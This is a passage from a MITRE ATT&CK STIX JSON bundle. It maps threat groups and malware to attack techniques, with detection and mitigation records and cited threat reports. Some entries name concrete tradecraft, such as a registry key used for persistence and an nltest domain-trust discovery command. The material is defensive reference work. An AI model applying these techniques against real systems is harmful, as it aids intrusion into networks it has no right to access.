August 2022)","relationship_type":"uses","source_ref":"malware--542e3384-341a-455b-bb48-4917b25e3b00","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--8851f959-22db-4346-9505-9a3f534fb240","created":"2022-07-08T12:39:29.781Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"","modified":"2022-07-08T12:39:29.781Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--04a5a8ab-3bc8-4c83-95c9-55274a89786d","target_ref":"attack-pattern--0458aab9-ad42-4eac-9e22-706a95bafee2","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8852f9e4-c2f1-4d24-8bc6-8539ec4180a5","type":"relationship","created":"2021-03-18T16:33:07.752Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA EB Aug 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-239a","description":"Cybersecurity and Infrastructure Security Agency. (2020, August 26). MAR-10301706-1.v1 - North Korean Remote Access Tool: ECCENTRICBANDWAGON. Retrieved March 18, 2021."}],"modified":"2021-03-18T16:33:07.752Z","description":"[ECCENTRICBANDWAGON](https://attack.mitre.org/software/S0593) can capture screenshots and store them locally.(Citation: CISA EB Aug 2020)","relationship_type":"uses","source_ref":"malware--e928333f-f3df-4039-9b8b-556c2add0e42","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--88587bdd-ea5a-4d80-af9f-cc900c5705e3","type":"relationship","created":"2019-04-19T14:04:47.199Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/n1nj4sec/pupy","description":"Nicolas Verdier. (n.d.). Retrieved January 29, 2018.","source_name":"GitHub Pupy"}],"modified":"2020-03-27T23:26:38.031Z","description":"[Pupy](https://attack.mitre.org/software/S0192) has a module that checks a number of indicators on the system to determine if its running on a virtual machine.(Citation: GitHub Pupy)","relationship_type":"uses","source_ref":"tool--cb69b20d-56d0-41ab-8440-4a4b251614d4","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8859897c-66f5-4754-8cb8-2c6e6b8b8e2e","type":"relationship","created":"2017-05-31T21:33:27.064Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/the-spring-dragon-apt/70726/","description":"Baumgartner, K.. (2015, June 17). The Spring Dragon APT. Retrieved February 15, 2016.","source_name":"Spring Dragon Jun 2015"},{"source_name":"Accenture Dragonfish Jan 2018","url":"https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf","description":"Accenture Security. (2018, January 27). DRAGONFISH DELIVERS NEW FORM OF ELISE MALWARE TARGETING ASEAN DEFENCE MINISTERS’ MEETING AND ASSOCIATES. Retrieved November 14, 2018."}],"modified":"2019-03-25T14:17:43.377Z","description":"(Citation: Spring Dragon Jun 2015)(Citation: Accenture Dragonfish Jan 2018)","relationship_type":"uses","source_ref":"intrusion-set--88b7dbc2-32d3-4e31-af2f-3fc24e1582d7","target_ref":"malware--7551188b-8f91-4d34-8350-0d0c57b2b913","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--885a3674-5a25-42e4-aa7f-148a41493861","created":"2022-06-09T20:47:17.474Z","x_mitre_version":"0.1","external_references":[{"source_name":"Malwarebytes Saint Bot April 2021","url":"https://blog.malwarebytes.com/threat-intelligence/2021/04/a-deep-dive-into-saint-bot-downloader/","description":"Hasherezade. (2021, April 6). A deep dive into Saint Bot, a new downloader. Retrieved June 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Saint Bot](https://attack.mitre.org/software/S1018) has used `is_debugger_present` as part of its environmental checks.(Citation: Malwarebytes Saint Bot April 2021)","modified":"2022-06-09T20:47:17.474Z","relationship_type":"uses","source_ref":"malware--7724581b-06ff-4d2b-b77c-80dc8d53070b","target_ref":"attack-pattern--e4dc8c01-417f-458d-9ee0-bb0617c1b391","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--885ac160-6a6e-4308-9d69-fdbe56d96f93","created":"2022-03-30T14:26:51.858Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor executed commands and arguments that may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement.","modified":"2022-04-25T19:37:02.007Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--885c54e7-6b1c-4399-a051-1e0b047d6f92","type":"relationship","created":"2020-07-01T21:05:18.859Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MacKeeper Bundlore Apr 2019","url":"https://mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/","description":"Sushko, O. (2019, April 17). macOS Bundlore: Mac Virus Bypassing macOS Security Features. Retrieved June 30, 2020."}],"modified":"2020-07-01T21:30:17.393Z","description":"[Bundlore](https://attack.mitre.org/software/S0482) has obfuscated data with base64, AES, RC4, and bz2.(Citation: MacKeeper Bundlore Apr 2019)","relationship_type":"uses","source_ref":"malware--7bef1b56-4870-4e74-b32a-7dd88c390c44","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--885c54ee-078a-4cc2-a2a1-c7376767b6b6","type":"relationship","created":"2021-03-04T14:15:16.114Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft HAFNIUM March 2020","url":"https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/","description":"MSTIC. (2021, March 2). HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021."},{"source_name":"Volexity Exchange Marauder March 2021","url":"https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/","description":"Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021."}],"modified":"2021-03-04T14:23:52.879Z","description":"[HAFNIUM](https://attack.mitre.org/groups/G0125) has used web shells to export mailbox data.(Citation: Microsoft HAFNIUM March 2020)(Citation: Volexity Exchange Marauder March 2021)","relationship_type":"uses","source_ref":"intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87","target_ref":"attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--885cab64-2589-4917-95ab-4ae5a2b75cd3","type":"relationship","created":"2019-06-24T18:55:39.462Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.","url":"https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group","source_name":"Symantec MuddyWater Dec 2018"},{"source_name":"Trend Micro Muddy Water March 2021","url":"https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html","description":"Peretz, A. and Theck, E. (2021, March 5). Earth Vetala – MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."}],"modified":"2021-03-19T13:31:33.334Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has run tools including Browser64 to steal passwords saved in victim web browsers.(Citation: Symantec MuddyWater Dec 2018)(Citation: Trend Micro Muddy Water March 2021)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--885cd1fe-9e7b-4e94-a6cc-01bb8ad655fd","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html","description":"Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.","source_name":"FireEye APT32 May 2017"}],"modified":"2020-02-18T03:34:05.471Z","description":"[APT32](https://attack.mitre.org/groups/G0050) has cleared select event log entries.(Citation: FireEye APT32 May 2017)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--886630f6-b61c-4ec1-9680-145c02542eb7","created":"2024-03-25T21:03:37.331Z","revoked":false,"external_references":[{"source_name":"CISA Scattered Spider Advisory November 2023","description":"CISA. (2023, November 16). Cybersecurity Advisory: Scattered Spider (AA23-320A). Retrieved March 18, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a"},{"source_name":"Trellix Scattered Spider MO August 2023","description":"Trellix et. al.. (2023, August 17). Scattered Spider: The Modus Operandi. Retrieved March 18, 2024.","url":"https://www.trellix.com/blogs/research/scattered-spider-the-modus-operandi/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-25T21:03:37.331Z","description":"[Scattered Spider](https://attack.mitre.org/groups/G1015) has deployed ransomware on compromised hosts for financial gain.(Citation: CISA Scattered Spider Advisory November 2023)(Citation: Trellix Scattered Spider MO August 2023)","relationship_type":"uses","source_ref":"intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b","target_ref":"attack-pattern--851e071f-208d-4c79-adc6-5974c85c78f3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--886942af-c1e9-49e9-af7e-98d1899f3000","type":"relationship","created":"2019-01-30T15:33:07.504Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}],"modified":"2019-08-20T13:08:13.330Z","description":"[APT1](https://attack.mitre.org/groups/G0006) used the net use command to get a listing on network connections.(Citation: Mandiant APT1)","relationship_type":"uses","source_ref":"intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--887465a0-6818-4e79-b86d-b83d3a0f39eb","type":"relationship","created":"2021-08-19T17:41:58.938Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-08-19T17:41:58.938Z","description":"[Naikon](https://attack.mitre.org/groups/G0019) renamed a malicious service taskmgr to appear to be a legitimate version of Task Manager.(Citation: Bitdefender Naikon April 2021)","relationship_type":"uses","source_ref":"intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8875e27f-9f8d-418b-8937-a2c4d1858607","type":"relationship","created":"2019-01-30T16:39:54.485Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/","source_name":"PaloAlto CardinalRat Apr 2017"}],"modified":"2019-06-10T18:25:51.580Z","description":"[Cardinal RAT](https://attack.mitre.org/software/S0348) contains watchdog functionality that periodically ensures HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Load is set to point to its executable.(Citation: PaloAlto CardinalRat Apr 2017)","relationship_type":"uses","source_ref":"malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--887626bc-bccf-4460-bd4c-af829a178ff9","created":"2024-01-11T20:13:27.428Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat June 2022","description":"Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat/106799/"},{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-19T21:01:02.553Z","description":"[Ninja](https://attack.mitre.org/software/S1100) can proxy C2 communications including to and from internal agents without internet connectivity.(Citation: Kaspersky ToddyCat June 2022)(Citation: Kaspersky ToddyCat Check Logs October 2023)","relationship_type":"uses","source_ref":"malware--023254de-caaf-4a05-b2c7-e4e2f283f7a5","target_ref":"attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8879fdf1-552c-4e47-a60b-659ebf72772a","type":"relationship","created":"2021-09-30T14:01:31.820Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky QakBot September 2021","url":"https://securelist.com/qakbot-technical-analysis/103931/","description":"Kuzmenko, A. et al. (2021, September 2). QakBot technical analysis. Retrieved September 27, 2021."}],"modified":"2021-09-30T14:01:31.820Z","description":"[QakBot](https://attack.mitre.org/software/S0650) can run nltest /domain_trusts /all_trusts for domain trust discovery.(Citation: Kaspersky QakBot September 2021)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--887ca054-848e-4a94-b299-2b625cb739df","created":"2023-09-27T19:42:34.240Z","revoked":false,"external_references":[{"source_name":"MoustachedBouncer ESET August 2023","description":"Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.","url":"https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-27T19:42:34.240Z","description":"[NightClub](https://attack.mitre.org/software/S1090) can use emails for C2 communications.(Citation: MoustachedBouncer ESET August 2023)","relationship_type":"uses","source_ref":"malware--91c57ed3-7c32-4c68-b388-7db00cb8dac6","target_ref":"attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--887d8bb3-1bd5-4010-81dc-fe479690e72d","type":"relationship","created":"2020-09-11T13:27:44.324Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cyberreason Anchor December 2019","url":"https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware","description":"Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."}],"modified":"2020-09-11T13:27:44.324Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) can identify the groups the user on a compromised host belongs to.(Citation: Cyberreason Anchor December 2019)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8880820c-e8c7-4dc5-9399-e9d619e38bfa","created":"2024-09-24T22:12:44.404Z","revoked":false,"external_references":[{"source_name":"group-ib_redcurl1","description":"Group-IB. (2020, August). RedCurl: The Pentest You Didn’t Know About. Retrieved August 9, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl/"},{"source_name":"group-ib_redcurl2","description":"Group-IB. (2021, November). RedCurl: The Awakening. Retrieved August 14, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl-2/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-24T22:12:44.404Z","description":"[RedCurl](https://attack.mitre.org/groups/G1039) has used HTTPS for C2 communication.(Citation: group-ib_redcurl1)(Citation: group-ib_redcurl2)","relationship_type":"uses","source_ref":"intrusion-set--82323c70-4186-4b61-94f5-b227c3b28e89","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--88852c38-9aeb-47f4-be63-dc09b8583155","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html","description":"Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.","source_name":"Talos Cobalt Group July 2018"}],"modified":"2019-07-26T23:38:33.847Z","description":"[Cobalt Group](https://attack.mitre.org/groups/G0080) deleted the DLL dropper from the victim’s machine to cover their tracks.(Citation: Talos Cobalt Group July 2018)","relationship_type":"uses","source_ref":"intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--88898d14-9313-4fdd-8ef5-584d8dcdec17","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets","description":"Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.","source_name":"Proofpoint Leviathan Oct 2017"}],"modified":"2020-03-17T19:36:48.627Z","description":"[Leviathan](https://attack.mitre.org/groups/G0065) has used VBScript.(Citation: Proofpoint Leviathan Oct 2017)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--888cad71-2275-4ca6-a154-f297f972487c","type":"relationship","created":"2020-03-09T12:51:45.634Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-15T22:50:29.828Z","description":"Web proxies can be used to enforce an external network communication policy that prevents use of unauthorized external services.","relationship_type":"mitigates","source_ref":"course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96","target_ref":"attack-pattern--40597f16-0963-4249-bf4c-ac93b7fb9807","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--88978f6c-242d-4a80-be15-a142ce76e80a","type":"relationship","created":"2022-03-30T14:26:51.853Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.853Z","description":"Monitor for changes made to files that may modify the kernel to automatically execute programs on system boot.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--a1b52199-c8c5-438a-9ded-656f1d0888c6","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--88997806-0c0f-47a7-b381-0ddd24f81f67","type":"relationship","created":"2020-10-19T19:42:19.879Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NIST 800-63-3","url":"https://pages.nist.gov/800-63-3/sp800-63b.html","description":"Grassi, P., et al. (2017, December 1). SP 800-63-3, Digital Identity Guidelines. Retrieved January 16, 2019."}],"modified":"2020-10-22T16:54:59.048Z","description":"Refer to NIST guidelines when creating password policies. (Citation: NIST 800-63-3)","relationship_type":"mitigates","source_ref":"course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485","target_ref":"attack-pattern--ae7f3575-0a5e-427e-991b-fe03ad44c754","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--889c15fd-1d6e-4af2-a626-595681c4a8ad","type":"relationship","created":"2022-03-30T14:26:51.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.848Z","description":"Monitor executed commands and arguments that may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--40597f16-0963-4249-bf4c-ac93b7fb9807","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--889f0ae5-cf9f-4418-8181-ebee62d64afb","created":"2023-04-05T16:36:25.165Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT29 Nov 2018","description":"Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-05T16:37:16.276Z","description":"During [C0021](https://attack.mitre.org/campaigns/C0021), the threat actors used HTTP for some of their C2 communications.(Citation: FireEye APT29 Nov 2018)","relationship_type":"uses","source_ref":"campaign--712e38c3-a656-426a-9b3b-a6bfb63294c6","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--88a4b1b5-770c-4af3-afe8-bd98076f448f","created":"2022-02-02T13:03:25.591Z","x_mitre_version":"1.0","external_references":[{"source_name":"McAfee Lazarus Nov 2020","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/","description":"Beek, C. (2020, November 5). Operation North Star: Behind The Scenes. Retrieved December 20, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Torisma](https://attack.mitre.org/software/S0678) can use HTTP and HTTPS for C2 communications.(Citation: McAfee Lazarus Nov 2020)","modified":"2022-04-13T20:38:10.692Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--0715560d-4299-4e84-9e20-6e80ab57e4f2","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--88a798b0-0820-4a6e-a9b2-416c84f3b357","type":"relationship","created":"2021-05-21T19:53:14.103Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky CactusPete Aug 2020","url":"https://securelist.com/cactuspete-apt-groups-updated-bisonal-backdoor/97962/","description":"Zykov, K. (2020, August 13). CactusPete APT group’s updated Bisonal backdoor. Retrieved May 5, 2021."},{"source_name":"Talos 